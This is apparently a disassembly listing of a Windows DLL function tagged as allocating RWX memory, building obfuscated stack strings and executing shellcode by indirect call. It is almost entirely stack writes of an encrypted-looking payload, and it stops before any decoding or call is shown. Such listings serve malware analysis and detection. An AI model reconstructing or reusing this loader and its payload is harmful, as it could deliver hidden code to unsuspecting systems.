Function at 0x1800012b0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0xad8]
sub rsp, 0xbd8
mov rax, qword [0x18002b018]
xor rax, rsp
mov qword [rbp + 0xac0], rax
dec edx
mov rsi, rcx
jne 0x1800030eb
mov dword [rsp + 0x20], 0x4e27b806
mov dword [rsp + 0x24], 0x1b6f1d56
mov dword [rsp + 0x28], 0x1323766
mov dword [rsp + 0x2c], 0x282f1e71
mov dword [rsp + 0x30], 0xc3a6180f
mov dword [rsp + 0x34], 0xd5b7500e
mov dword [rsp + 0x38], 0x80d01299
mov dword [rsp + 0x3c], 0x354377fd
mov dword [rsp + 0x40], 0x1da1aa42
mov dword [rsp + 0x44], 0x1d67194d
mov dword [rsp + 0x48], 0x8bc82f6a
mov dword [rsp + 0x4c], 0x271aff7c
mov dword [rsp + 0x50], 0x20b5fc04
mov dword [rsp + 0x54], 0x28ee232e
mov dword [rsp + 0x58], 0x18ad3209
mov dword [rsp + 0x5c], 0x25a22339
mov dword [rsp + 0x60], 0x2abc0a38
mov dword [rsp + 0x64], 0x71c1160f
mov dword [rsp + 0x68], 0x2bff7935
mov dword [rsp + 0x6c], 0x34d66c70
mov dword [rsp + 0x70], 0xa6d91049
mov dword [rsp + 0x74], 0x48682aef
mov dword [rsp + 0x78], 0x117ef62
mov dword [rsp + 0x7c], 0x1b3bbc24
mov dword [rbp - 0x80], 0x627f87d
mov dword [rbp - 0x7c], 0xf3fcc10
mov dword [rbp - 0x78], 0x332ee330
mov dword [rbp - 0x74], 0x1f3bbd04
mov dword [rbp - 0x70], 0x1879be03
mov dword [rbp - 0x6c], 0xfb78dd45
mov dword [rbp - 0x68], 0xac3e9cda
mov dword [rbp - 0x64], 0xa32fc510
mov dword [rbp - 0x60], 0xb828e22d
mov dword [rbp - 0x5c], 0xc116242e
mov dword [rbp - 0x58], 0xff136978
mov dword [rbp - 0x54], 0x390e6422
mov dword [rbp - 0x50], 0x7e7c2df0
mov dword [rbp - 0x4c], 0x1a262aec
mov dword [rbp - 0x48], 0x9d664448
mov dword [rbp - 0x44], 0x76507c14
mov dword [rbp - 0x40], 0x2fb6352f
mov dword [rbp - 0x3c], 0x40456b72
mov dword [rbp - 0x38], 0x7b2fbf67
mov dword [rbp - 0x34], 0x7650626d
mov dword [rbp - 0x30], 0x592b2098
mov dword [rbp - 0x2c], 0xac64093c
mov dword [rbp - 0x28], 0x7a204de2
mov dword [rbp - 0x24], 0xe550624
mov dword [rbp - 0x20], 0x6285ae4e
mov dword [rbp - 0x1c], 0x2e6a6b30
mov dword [rbp - 0x18], 0x7969788f
mov dword [rbp - 0x14], 0x4021093a
mov dword [rbp - 0x10], 0x144d3d98
mov dword [rbp - 0xc], 0x580d421c
mov dword [rbp - 8], 0x360e0caf
mov dword [rbp - 4], 0x7415233b
mov dword [rbp], 0x491107b1
mov dword [rbp + 4], 0x312a0f3c
mov dword [rbp + 8], 0x565c23b5
mov dword [rbp + 0xc], 0x750e2216
mov dword [rbp + 0x10], 0x77411bb1
mov dword [rbp + 0x14], 0x70a5059
mov dword [rbp + 0x18], 0x77ed22ac
mov dword [rbp + 0x1c], 0xfe215613
mov dword [rbp + 0x20], 0x611da72e
mov dword [rbp + 0x24], 0x2fac6122
mov dword [rbp + 0x28], 0x39533ace
mov dword [rbp + 0x2c], 0x5a11054
mov dword [rbp + 0x30], 0xae0d3cb0
mov dword [rbp + 0x34], 0x36db81d
mov dword [rbp + 0x38], 0x6f8f1b5f
mov dword [rbp + 0x3c], 0x218328a
mov dword [rbp + 0x40], 0xc506b146
mov dword [rbp + 0x44], 0x3b131805
mov dword [rbp + 0x48], 0xc933782
mov dword [rbp + 0x4c], 0xa52d0c03
mov dword [rbp + 0x50], 0x41c8e71
mov dword [rbp + 0x54], 0x20fb5d54
mov dword [rbp + 0x58], 0x11022cdc
mov dword [rbp + 0x5c], 0xe961bd6f
mov dword [rbp + 0x60], 0x1e421f58
mov dword [rbp + 0x64], 0xef10bc7
mov dword [rbp + 0x68], 0xfb3b2739
mov dword [rbp + 0x6c], 0x302f508
mov dword [rbp + 0x70], 0xbe396d2d
mov dword [rbp + 0x74], 0x4d3e902c
mov dword [rbp + 0x78], 0x27a26fa9
mov dword [rbp + 0x7c], 0x38a23ed
mov dword [rbp + 0x80], 0x84375918
mov dword [rbp + 0x84], 0x20ea570
mov dword [rbp + 0x88], 0x22b5301e
mov dword [rbp + 0x8c], 0x370004a0
mov dword [rbp + 0x90], 0x8333f30b
mov dword [rbp + 0x94], 0x5d61590a
mov dword [rbp + 0x98], 0x872ea303
mov dword [rbp + 0x9c], 0x1924d07
mov dword [rbp + 0xa0], 0x926b395c
mov dword [rbp + 0xa4], 0x6f9741dd
mov dword [rbp + 0xa8], 0xa086e123
mov dword [rbp + 0xac], 0x76314424
mov dword [rbp + 0xb0], 0x98c4cb2a
mov dword [rbp + 0xb4], 0x5040293c
mov dword [rbp + 0xb8], 0xe5626f33
mov dword [rbp + 0xbc], 0x8855220d
mov dword [rbp + 0xc0], 0x5279e11d
mov dword [rbp + 0xc4], 0x2ff87d73
mov dword [rbp + 0xc8], 0x37c8142e
mov dword [rbp + 0xcc], 0x9ca34b27
mov dword [rbp + 0xd0], 0x3abf2a90
mov dword [rbp + 0xd4], 0xb87f557b
mov dword [rbp + 0xd8], 0x235c4178
mov dword [rbp + 0xdc], 0x520521ee
mov dword [rbp + 0xe0], 0x6b74d868
mov dword [rbp + 0xe4], 0x6e242cec
mov dword [rbp + 0xe8], 0x5e666b3d
mov dword [rbp + 0xec], 0x1519b100
mov dword [rbp + 0xf0], 0xe4732356
mov dword [rbp + 0xf4], 0x10bd861e
mov dword [rbp + 0xf8], 0x1a4b67db
mov dword [rbp + 0xfc], 0xee6fc520
mov dword [rbp + 0x100], 0x7dac621f
mov dword [rbp + 0x104], 0x591107ff
mov dword [rbp + 0x108], 0x7515eb26
mov dword [rbp + 0x10c], 0x4a5c23b5
mov dword [rbp + 0x110], 0x346c436d
mov dword [rbp + 0x114], 0x1331d23e
mov dword [rbp + 0x118], 0xb09a7d15
mov dword [rbp + 0x11c], 0x529ec23
mov dword [rbp + 0x120], 0x7cd86c4a
mov dword [rbp + 0x124], 0xc05b6e83
mov dword [rbp + 0x128], 0x4e2fb806
mov dword [rbp + 0x12c], 0xb10476
mov dword [rbp + 0x130], 0x6422b109
mov dword [rbp + 0x134], 0x7c794a04
mov dword [rbp + 0x138], 0x3ba61858
mov dword [rbp + 0x13c], 0xd509480e
mov dword [rbp + 0x140], 0x20da12b2
mov dword [rbp + 0x144], 0xb80b4611
mov dword [rbp + 0x148], 0x6b23d234
mov dword [rbp + 0x14c], 0x3cee3a85
mov dword [rbp + 0x150], 0xef0f4b4e
mov dword [rbp + 0x154], 0x21980e79
mov dword [rbp + 0x158], 0x652f1513
mov dword [rbp + 0x15c], 0xe82f6b77
mov dword [rbp + 0x160], 0x14045e75
mov dword [rbp + 0x164], 0xe363bfc6
mov dword [rbp + 0x168], 0x23016a4c
mov dword [rbp + 0x16c], 0x3d60dbe7
mov dword [rbp + 0x170], 0x5533314d
mov dword [rbp + 0x174], 0x3dd66c80
mov dword [rbp + 0x178], 0xa61c704d
mov dword [rbp + 0x17c], 0xcaf0a22
mov dword [rbp + 0x180], 0x515f460e
mov dword [rbp + 0x184], 0xce3e3569
mov dword [rbp + 0x188], 0x274a5561
mov dword [rbp + 0x18c], 0xec3a91a7
mov dword [rbp + 0x190], 0xb534e34
mov dword [rbp + 0x194], 0x1aa671ef
mov dword [rbp + 0x198], 0xb57df756
mov dword [rbp + 0x19c], 0x2b434021
mov dword [rbp + 0x1a0], 0x24faace8
mov dword [rbp + 0x1a4], 0x6fac3955
mov dword [rbp + 0x1a8], 0x315d204c
mov dword [rbp + 0x1ac], 0xc5166a78
mov dword [rbp + 0x1b0], 0x37116968
mov dword [rbp + 0x1b4], 0xd46c9499
mov dword [rbp + 0x1b8], 0x18684d35
mov dword [rbp + 0x1bc], 0x200e2ba6
mov dword [rbp + 0x1c0], 0x12a6190d
mov dword [rbp + 0x1c4], 0x5e1128d8
mov dword [rbp + 0x1c8], 0x423cb80f
mov dword [rbp + 0x1cc], 0x52611ca1
mov dword [rbp + 0x1d0], 0x6366786b
mov dword [rbp + 0x1d4], 0x5260ef0b
mov dword [rbp + 0x1d8], 0xe1c8247f
mov dword [rbp + 0x1dc], 0x4f28ee74
mov dword [rbp + 0x1e0], 0x3fac2d57
mov dword [rbp + 0x1e4], 0x940a10bc
mov dword [rbp + 0x1e8], 0x6a44e163
mov dword [rbp + 0x1ec], 0x9e592e19
mov dword [rbp + 0x1f0], 0x77d5798f
mov dword [rbp + 0x1f4], 0x6824081f
mov dword [rbp + 0x1f8], 0x9f3934d2
mov dword [rbp + 0x1fc], 0x4f3db715
mov dword [rbp + 0x200], 0xeb62271b
mov dword [rbp + 0x204], 0xf24c750e
mov dword [rbp + 0x208], 0x340e333
mov dword [rbp + 0x20c], 0x823e0309
mov dword [rbp + 0x210], 0x6a2fc337
mov dword [rbp + 0x214], 0x6c4607a4
mov dword [rbp + 0x218], 0x5304303a
mov dword [rbp + 0x21c], 0x384178f2
mov dword [rbp + 0x220], 0x4e160239
mov dword [rbp + 0x224], 0x597160bd
mov dword [rbp + 0x228], 0x650b591e
mov dword [rbp + 0x22c], 0x4e17b90a
mov dword [rbp + 0x230], 0xe5798f3a
mov dword [rbp + 0x234], 0x251c1f62
mov dword [rbp + 0x238], 0x6d51ae3
mov dword [rbp + 0x23c], 0xa84e023e
mov dword [rbp + 0x240], 0x453bd86f
mov dword [rbp + 0x244], 0xab372813
mov dword [rbp + 0x248], 0x5020c270
mov dword [rbp + 0x24c], 0xee1be235
mov dword [rbp + 0x250], 0x10433682
mov dword [rbp + 0x254], 0x9200c26
mov dword [rbp + 0x258], 0x97b32f3
mov dword [rbp + 0x25c], 0xa4f5065
mov dword [rbp + 0x260], 0x15432fa3
mov dword [rbp + 0x264], 0x30470854
mov dword [rbp + 0x268], 0x4c57e37d
mov dword [rbp + 0x26c], 0x4f758974
mov dword [rbp + 0x270], 0x593a1812
mov dword [rbp + 0x274], 0x4232f628
mov dword [rbp + 0x278], 0xa3a763c
mov dword [rbp + 0x27c], 0xab159f06
mov dword [rbp + 0x280], 0x2d0b581a
mov dword [rbp + 0x284], 0xd527ee6e
mov dword [rbp + 0x288], 0x635271ab
mov dword [rbp + 0x28c], 0x6664713b
mov dword [rbp + 0x290], 0x2fa6ba19
mov dword [rbp + 0x294], 0x1b472ef5
mov dword [rbp + 0x298], 0x7f5270a5
mov dword [rbp + 0x29c], 0x3c383768
mov dword [rbp + 0x2a0], 0x4327ef2d
mov dword [rbp + 0x2a4], 0x69f76d55
mov dword [rbp + 0x2a8], 0xeb587c0d
mov dword [rbp + 0x2ac], 0x150a8920
mov dword [rbp + 0x2b0], 0x1cd32243
mov dword [rbp + 0x2b4], 0x89706d18
mov dword [rbp + 0x2b8], 0x13af08b2
mov dword [rbp + 0x2bc], 0xdd10595d
mov dword [rbp + 0x2c0], 0x5b6fc76e
mov dword [rbp + 0x2c4], 0x1eef6288
mov dword [rbp + 0x2c8], 0xfb794475
mov dword [rbp + 0x2cc], 0x2eb6550e
mov dword [rbp + 0x2d0], 0x724a7842
mov dword [rbp + 0x2d4], 0xee227868
mov dword [rbp + 0x2d8], 0x37144617
mov dword [rbp + 0x2dc], 0xbe7fb1a0
mov dword [rbp + 0x2e0], 0x23544170
mov dword [rbp + 0x2e4], 0x120521ea
mov dword [rbp + 0x2e8], 0x23f96661
mov dword [rbp + 0x2ec], 0x66242ca2
mov dword [rbp + 0x2f0], 0x3627e67d
mov dword [rbp + 0x2f4], 0x1169788f
mov dword [rbp + 0x2f8], 0x244d667b
mov dword [rbp + 0x2fc], 0x7c3df417
mov dword [rbp + 0x300], 0xfe906a70
mov dword [rbp + 0x304], 0x4266c320
mov dword [rbp + 0x308], 0x71e1196a
mov dword [rbp + 0x30c], 0x42703b52
mov dword [rbp + 0x310], 0x1d12eaa
mov dword [rbp + 0x314], 0xe7344f56
mov dword [rbp + 0x318], 0x70a5332e
mov dword [rbp + 0x31c], 0x37687f52
mov dword [rbp + 0x320], 0xe92d3c38
mov dword [rbp + 0x324], 0x6045433f
mov dword [rbp + 0x328], 0x3610f085
mov dword [rbp + 0x32c], 0x41486edc
mov dword [rbp + 0x330], 0x723e8641
mov dword [rbp + 0x334], 0x4d71c317
mov dword [rbp + 0x338], 0x93623ce
mov dword [rbp + 0x33c], 0x217912af
mov dword [rbp + 0x340], 0xe46380d3
mov dword [rbp + 0x344], 0x721d97f2
mov dword [rbp + 0x348], 0x6c1cd12f
mov dword [rbp + 0x34c], 0x7d90fd7d
mov dword [rbp + 0x350], 0xd9992fa
mov dword [rbp + 0x354], 0xb7ec3a25
mov dword [rbp + 0x358], 0x9db3e82e
mov dword [rbp + 0x35c], 0xee1e1e61
mov dword [rbp + 0x360], 0x2ab170e1
mov dword [rbp + 0x364], 0x24ae5824
mov dword [rbp + 0x368], 0x55147a99
mov dword [rbp + 0x36c], 0xb0a02339
mov dword [rbp + 0x370], 0x2e311bff
mov dword [rbp + 0x374], 0x744909e7
mov dword [rbp + 0x378], 0xed33c1c6
mov dword [rbp + 0x37c], 0x8fda618f
mov dword [rbp + 0x380], 0xa01c701d
mov dword [rbp + 0x384], 0x904362af
mov dword [rbp + 0x388], 0x629b0563
mov dword [rbp + 0x38c], 0x36817cbe
mov dword [rbp + 0x390], 0x23e13825
mov dword [rbp + 0x394], 0xad710050
mov dword [rbp + 0x398], 0x16166f2
mov dword [rbp + 0x39c], 0x1e753850
mov dword [rbp + 0x3a0], 0x3f783fed
mov dword [rbp + 0x3a4], 0xa95021a7
mov dword [rbp + 0x3a8], 0xaf32ff17
mov dword [rbp + 0x3ac], 0x5b3ec69a
mov dword [rbp + 0x3b0], 0x31333924
mov dword [rbp + 0x3b4], 0x4da9ee64
mov dword [rbp + 0x3b8], 0x4f7d4d3c
mov dword [rbp + 0x3bc], 0xdb2b701b
mov dword [rbp + 0x3c0], 0x50586c94
mov dword [rbp + 0x3c4], 0x48575667
mov dword [rbp + 0x3c8], 0x5f85ae47
mov dword [rbp + 0x3cc], 0x4f796c51
mov dword [rbp + 0x3d0], 0xee7e0d3e
mov dword [rbp + 0x3d4], 0x72455dbf
mov dword [rbp + 0x3d8], 0x1b27f32b
mov dword [rbp + 0x3dc], 0x79fde70e
mov dword [rbp + 0x3e0], 0x3532a9db
mov dword [rbp + 0x3e4], 0x15072d3c
mov dword [rbp + 0x3e8], 0x84222d5b
mov dword [rbp + 0x3ec], 0x2e696aa5
mov dword [rbp + 0x3f0], 0xcb0f682b
mov dword [rbp + 0x3f4], 0x5e6a6e88
mov dword [rbp + 0x3f8], 0x31cb58f0
mov dword [rbp + 0x3fc], 0x63790076
mov dword [rbp + 0x400], 0xf2ec765b
mov dword [rbp + 0x404], 0x6e6f2b55
mov dword [rbp + 0x408], 0x27120fe3
mov dword [rbp + 0x40c], 0x356c50e1
mov dword [rbp + 0x410], 0xb2b10676
mov dword [rbp + 0x414], 0x40cfe365
mov dword [rbp + 0x418], 0xdd776772
mov dword [rbp + 0x41c], 0xbf234524
mov dword [rbp + 0x420], 0x78d250a9
mov dword [rbp + 0x424], 0x10a5b921
mov dword [rbp + 0x428], 0xe0e62f43
mov dword [rbp + 0x42c], 0xe9de605e
mov dword [rbp + 0x430], 0x8ba72823
mov dword [rbp + 0x434], 0xb8ee351f
mov dword [rbp + 0x438], 0x5cb74f2b
mov dword [rbp + 0x43c], 0xabb67570
mov dword [rbp + 0x440], 0x52685c26
mov dword [rbp + 0x444], 0xb56c5f8b
mov dword [rbp + 0x448], 0x289eb62
mov dword [rbp + 0x44c], 0x1982712b
mov dword [rbp + 0x450], 0xb8ce3ed7
mov dword [rbp + 0x454], 0x58666ae1
mov dword [rbp + 0x458], 0xf3b68d04
mov dword [rbp + 0x45c], 0x6243f7ff
mov dword [rbp + 0x460], 0x17d23234
mov dword [rbp + 0x464], 0x123f71c8
mov dword [rbp + 0x468], 0x9a25e634
mov dword [rbp + 0x46c], 0xd86caad6
mov dword [rbp + 0x470], 0x4b6f9473
mov dword [rbp + 0x474], 0x23f2c5f0
mov dword [rbp + 0x478], 0xb1009669
mov dword [rbp + 0x47c], 0x913ece0f
mov dword [rbp + 0x480], 0xb17c6c90
mov dword [rbp + 0x484], 0x24a16325
mov dword [rbp + 0x488], 0x486d0eea
mov dword [rbp + 0x48c], 0x1ed12e2a
mov dword [rbp + 0x490], 0x47cf745c
mov dword [rbp + 0x494], 0x276a7135
mov dword [rbp + 0x498], 0x674245e0
mov dword [rbp + 0x49c], 0x95e82b78
mov dword [rbp + 0x4a0], 0x1776619d
mov dword [rbp + 0x4a4], 0xb97defee
mov dword [rbp + 0x4a8], 0x237e11a5
mov dword [rbp + 0x4ac], 0x657e69e8
mov dword [rbp + 0x4b0], 0x2b5b39ed
mov dword [rbp + 0x4b4], 0xe7c54168
mov dword [rbp + 0x4b8], 0x1da1a358
mov dword [rbp + 0x4bc], 0xaeba053c
mov dword [rbp + 0x4c0], 0x1e1806ed
mov dword [rbp + 0x4c4], 0x505868c7
mov dword [rbp + 0x4c8], 0x5469e62b
mov dword [rbp + 0x4cc], 0x615a7cc3
mov dword [rbp + 0x4d0], 0x7b463806
mov dword [rbp + 0x4d4], 0x6930ffc8
mov dword [rbp + 0x4d8], 0x4341d2b0
mov dword [rbp + 0x4dc], 0x88737cef
mov dword [rbp + 0x4e0], 0xd572aad
mov dword [rbp + 0x4e4], 0xe2bc2063
mov dword [rbp + 0x4e8], 0x239f6674
mov dword [rbp + 0x4ec], 0x7aa9d8ee
mov dword [rbp + 0x4f0], 0xdc365524
mov dword [rbp + 0x4f4], 0xa667c6c
mov dword [rbp + 0x4f8], 0x2d6c140a
mov dword [rbp + 0x4fc], 0x76c07076
mov dword [rbp + 0x500], 0xe4432a5e
mov dword [rbp + 0x504], 0x1da6f21a
mov dword [rbp + 0x508], 0x35191369
mov dword [rbp + 0x50c], 0x627ac329
mov dword [rbp + 0x510], 0xc924da1b
mov dword [rbp + 0x514], 0x34f4c837
mov dword [rbp + 0x518], 0x4610a869
mov dword [rbp + 0x51c], 0xba7b2fba
mov dword [rbp + 0x520], 0xbc5047e9
mov dword [rbp + 0x524], 0xc204672
mov dword [rbp + 0x528], 0x6b844e3d
mov dword [rbp + 0x52c], 0x646320dc
mov dword [rbp + 0x530], 0xba1cf279
mov dword [rbp + 0x534], 0x3b2c03ab
mov dword [rbp + 0x538], 0x26a2439e
mov dword [rbp + 0x53c], 0x66709bd5
mov dword [rbp + 0x540], 0xc4694666
mov dword [rbp + 0x544], 0x69795f97
mov dword [rbp + 0x548], 0xdb94691c
mov dword [rbp + 0x54c], 0x2548682a
mov dword [rbp + 0x550], 0x6c51fce2
mov dword [rbp + 0x554], 0xb2c83235
mov dword [rbp + 0x558], 0x58666ac1
mov dword [rbp + 0x55c], 0x3da47109
mov dword [rbp + 0x560], 0xe64c5b53
mov dword [rbp + 0x564], 0x655f76a7
mov dword [rbp + 0x568], 0x6ac38e76
mov dword [rbp + 0x56c], 0xd8266b64
mov dword [rbp + 0x570], 0x55247a23
mov dword [rbp + 0x574], 0x6063e674
mov dword [rbp + 0x578], 0x647028eb
mov dword [rbp + 0x57c], 0x8b475fdd
mov dword [rbp + 0x580], 0x8fb75785
mov dword [rbp + 0x584], 0x80dc424c
mov dword [rbp + 0x588], 0x6a5f2d63
mov dword [rbp + 0x58c], 0x6b2122e4
mov dword [rbp + 0x590], 0x92592ee9
mov dword [rbp + 0x594], 0x42623420
mov dword [rbp + 0x598], 0xe50c32de
mov dword [rbp + 0x59c], 0x6b0746a1
mov dword [rbp + 0x5a0], 0xba04931
mov dword [rbp + 0x5a4], 0x1e7538ef
mov dword [rbp + 0x5a8], 0x16def5ee
mov dword [rbp + 0x5ac], 0xa9502503
mov dword [rbp + 0x5b0], 0x7333210
mov dword [rbp + 0x5b4], 0x27e67196
mov dword [rbp + 0x5b8], 0xf3c5496b
mov dword [rbp + 0x5bc], 0x58b6ab23
mov dword [rbp + 0x5c0], 0x9df1fa33
mov dword [rbp + 0x5c4], 0x64652677
mov dword [rbp + 0x5c8], 0x194a1cb4
mov dword [rbp + 0x5cc], 0xe562ac08
mov dword [rbp + 0x5d0], 0x55272944
mov dword [rbp + 0x5d4], 0xfd74aee6
mov dword [rbp + 0x5d8], 0x6e707d53
mov dword [rbp + 0x5dc], 0xbf46156c
mov dword [rbp + 0x5e0], 0x672af326
mov dword [rbp + 0x5e4], 0x3af4610a
mov dword [rbp + 0x5e8], 0xbb42ad64
mov dword [rbp + 0x5ec], 0x2ea5ee71
mov dword [rbp + 0x5f0], 0xfa545c5e
mov dword [rbp + 0x5f4], 0x7b94de68
mov dword [rbp + 0x5f8], 0xa00682a
mov dword [rbp + 0x5fc], 0x5efed408
mov dword [rbp + 0x600], 0xb5423c48
mov dword [rbp + 0x604], 0x2440670a
mov dword [rbp + 0x608], 0xc8eef21b
mov dword [rbp + 0x60c], 0x6f6f2b50
mov dword [rbp + 0x610], 0x6566a7e3
mov dword [rbp + 0x614], 0x75e11899
mov dword [rbp + 0x618], 0x3432a87a
mov dword [rbp + 0x61c], 0xc8108869
mov dword [rbp + 0x620], 0x533c7332
mov dword [rbp + 0x624], 0x7196365b
mov dword [rbp + 0x628], 0x4b13b14d
mov dword [rbp + 0x62c], 0x9b38b170
mov dword [rbp + 0x630], 0x1d8ee2f
mov dword [rbp + 0x634], 0x7c55247b
mov dword [rbp + 0x638], 0x852dfce0
mov dword [rbp + 0x63c], 0x271e4595
mov dword [rbp + 0x640], 0x427d80d5
mov dword [rbp + 0x644], 0x92557721
mov dword [rbp + 0x648], 0x28b4d465
mov dword [rbp + 0x64c], 0x99429a73
mov dword [rbp + 0x650], 0x2a4b2bd7
mov dword [rbp + 0x654], 0x6c2ea5de
mov dword [rbp + 0x658], 0x6b28135
mov dword [rbp + 0x65c], 0x9ba0eba3
mov dword [rbp + 0x660], 0x396754db
mov dword [rbp + 0x664], 0xe9456fe7
mov dword [rbp + 0x668], 0x75b7b7f2
mov dword [rbp + 0x66c], 0x6543ca12
mov dword [rbp + 0x670], 0x24969c64
mov dword [rbp + 0x674], 0x5661b822
mov dword [rbp + 0x678], 0x64a623ef
mov dword [rbp + 0x67c], 0x3fba0f80
mov dword [rbp + 0x680], 0x33094ee2
mov dword [rbp + 0x684], 0x27fe3d5d
mov dword [rbp + 0x688], 0xf15b354f
mov dword [rbp + 0x68c], 0x3b11d328
mov dword [rbp + 0x690], 0xc02ca32e
mov dword [rbp + 0x694], 0x4055273a
mov dword [rbp + 0x698], 0x12ff7465
mov dword [rbp + 0x69c], 0x2fe73c25
mov dword [rbp + 0x6a0], 0xb449004c
mov dword [rbp + 0x6a4], 0x4f88f60a
mov dword [rbp + 0x6a8], 0x5e66b1e9
mov dword [rbp + 0x6ac], 0xb9bc3765
mov dword [rbp + 0x6b0], 0x676b6545
mov dword [rbp + 0x6b4], 0x24ea96ee
mov dword [rbp + 0x6b8], 0x28233955
mov dword [rbp + 0x6bc], 0x3d088b9b
mov dword [rbp + 0x6c0], 0xcc51aaee
mov dword [rbp + 0x6c4], 0x76314d89
mov dword [rbp + 0x6c8], 0x5e04fded
mov dword [rbp + 0x6cc], 0x98d36979
mov dword [rbp + 0x6d0], 0x97e16c63
mov dword [rbp + 0x6d4], 0xd32e021d
mov dword [rbp + 0x6d8], 0x33054815
mov dword [rbp + 0x6dc], 0xe135f570
mov dword [rbp + 0x6e0], 0xa2ce1450
mov dword [rbp + 0x6e4], 0x7314f323
mov dword [rbp + 0x6e8], 0x3ac7610f
mov dword [rbp + 0x6ec], 0xbe7e9e5c
mov dword [rbp + 0x6f0], 0xa2e12d32
mov dword [rbp + 0x6f4], 0xff693a13
mov dword [rbp + 0x6f8], 0x2e312ced
mov dword [rbp + 0x6fc], 0x7d06df24
mov dword [rbp + 0x700], 0x164580e3
mov dword [rbp + 0x704], 0x784f6fc5
mov dword [rbp + 0x708], 0x2708a6fd
mov dword [rbp + 0x70c], 0x5a513d8e
mov dword [rbp + 0x710], 0xd5272224
mov dword [rbp + 0x714], 0x62120ca8
mov dword [rbp + 0x718], 0x7d9b2458
mov dword [rbp + 0x71c], 0x591117ff
mov dword [rbp + 0x720], 0xd98552f
mov dword [rbp + 0x724], 0x4a5c33ff
mov dword [rbp + 0x728], 0x1026ca05
mov dword [rbp + 0x72c], 0x73ec3956
mov dword [rbp + 0x730], 0xef281e11
mov dword [rbp + 0x734], 0xebee2ea4
mov dword [rbp + 0x738], 0x7081db3b
mov dword [rbp + 0x73c], 0x4960ede8
mov dword [rbp + 0x740], 0x2f63f6cd
mov dword [rbp + 0x744], 0xc675886d
mov dword [rbp + 0x748], 0x89e33e3f
mov dword [rbp + 0x74c], 0xe2355850
mov dword [rbp + 0x750], 0x841b740c
mov dword [rbp + 0x754], 0xd7cb298b
mov dword [rbp + 0x758], 0x5582c67
mov dword [rbp + 0x75c], 0x35409efa
mov dword [rbp + 0x760], 0x78339571
mov dword [rbp + 0x764], 0x304734ce
mov dword [rbp + 0x768], 0x2757a5e9
mov dword [rbp + 0x76c], 0xa5da8907
mov dword [rbp + 0x770], 0x9a64b038
mov dword [rbp + 0x774], 0xee2f949b
mov dword [rbp + 0x778], 0x5524f29c
mov dword [rbp + 0x77c], 0xc5a02739
mov dword [rbp + 0x780], 0x6b314f10
mov dword [rbp + 0x784], 0xc8f7672e
mov dword [rbp + 0x788], 0x6976314d
mov dword [rbp + 0x78c], 0x795f82c4
mov dword [rbp + 0x790], 0x9cdb1c69
mov dword [rbp + 0x794], 0x48682a9f
mov dword [rbp + 0x798], 0x559ce563
mov dword [rbp + 0x79c], 0xaa853620
mov dword [rbp + 0x7a0], 0x666a71bf
mov dword [rbp + 0x7a4], 0x2f7cce19
mov dword [rbp + 0x7a8], 0x169ca17b
mov dword [rbp + 0x7ac], 0x1bff7c4a
mov dword [rbp + 0x7b0], 0xf700741
mov dword [rbp + 0x7b4], 0x11e025a5
mov dword [rbp + 0x7b8], 0xecf1696d
mov dword [rbp + 0x7bc], 0x2715b210
mov dword [rbp + 0x7c0], 0x7dbd0320
mov dword [rbp + 0x7c4], 0x71129168
mov dword [rbp + 0x7c8], 0x3f6d393a
mov dword [rbp + 0x7cc], 0xda6c57ed
mov dword [rbp + 0x7d0], 0x145010ab
mov dword [rbp + 0x7d4], 0x5be8d824
mov dword [rbp + 0x7d8], 0x1249c19a
mov dword [rbp + 0x7dc], 0x3f37aed2
mov dword [rbp + 0x7e0], 0x6939f5c8
mov dword [rbp + 0x7e4], 0x707d1cb5
mov dword [rbp + 0x7e8], 0x9c227113
mov dword [rbp + 0x7ec], 0x720c2683
mov dword [rbp + 0x7f0], 0x7dc0105d
mov dword [rbp + 0x7f4], 0x434031b5
mov dword [rbp + 0x7f8], 0x32e15622
mov dword [rbp + 0x7fc], 0x4b1d01a9
mov dword [rbp + 0x800], 0x6a44e14d
mov dword [rbp + 0x804], 0x1ae30d11
mov dword [rbp + 0x808], 0xba011e6c
mov dword [rbp + 0x80c], 0xf0bf27b8
mov dword [rbp + 0x810], 0x50affa17
mov dword [rbp + 0x814], 0x22a8a819
mov dword [rbp + 0x818], 0x2aea7b2d
mov dword [rbp + 0x81c], 0x32185763
mov dword [rbp + 0x820], 0x5579c83e
mov dword [rbp + 0x824], 0xcfc8d5a
mov dword [rbp + 0x828], 0x2f58a1f1
mov dword [rbp + 0x82c], 0xd27bc50
mov dword [rbp + 0x830], 0x5ae05048
mov dword [rbp + 0x834], 0x219ac3ca
mov dword [rbp + 0x838], 0x966a90e0
mov dword [rbp + 0x83c], 0x8514303d
mov dword [rbp + 0x840], 0x682b6a
mov dword [rbp + 0x844], 0x15507528
mov dword [rbp + 0x848], 0x95bf4758
mov dword [rbp + 0x84c], 0x8667631
mov dword [rbp + 0x850], 0x214528a9
mov dword [rbp + 0x854], 0xe26ea05b
mov dword [rbp + 0x858], 0x6e494c46
mov dword [rbp + 0x85c], 0x63bd245f
mov dword [rbp + 0x860], 0x3543d1b1
mov dword [rbp + 0x864], 0xd368e171
mov dword [rbp + 0x868], 0x668db394
mov dword [rbp + 0x86c], 0x4102a2e1
mov dword [rbp + 0x870], 0x78b7b7e0
mov dword [rbp + 0x874], 0x2423dcf6
mov dword [rbp + 0x878], 0x7a12af47
mov dword [rbp + 0x87c], 0x5b51a8a4
mov dword [rbp + 0x880], 0x736eb2ce
mov dword [rbp + 0x884], 0x8bb20fc0
mov dword [rbp + 0x888], 0xf84b1b6d
mov dword [rbp + 0x88c], 0xbf8161a6
mov dword [rbp + 0x890], 0x3c9f3f05
mov dword [rbp + 0x894], 0x28159d4a
mov dword [rbp + 0x898], 0xcd2bc1aa
mov dword [rbp + 0x89c], 0xd47913f8
mov dword [rbp + 0x8a0], 0x77040a5
mov dword [rbp + 0x8a4], 0x8d7a33b8
mov dword [rbp + 0x8a8], 0x12a0c06d
mov dword [rbp + 0x8ac], 0x37aaef6d
mov dword [rbp + 0x8b0], 0xdfce756a
mov dword [rbp + 0x8b4], 0xd7353765
mov dword [rbp + 0x8b8], 0xe2e02040
mov dword [rbp + 0x8bc], 0x247a207d
mov dword [rbp + 0x8c0], 0xe2ee1abe
mov dword [rbp + 0x8c4], 0xbc0a061d
mov dword [rbp + 0x8c8], 0x5ab54a2a
mov dword [rbp + 0x8cc], 0x6eb4c678
mov dword [rbp + 0x8d0], 0xda244067
mov dword [rbp + 0x8d4], 0x5018d1b0
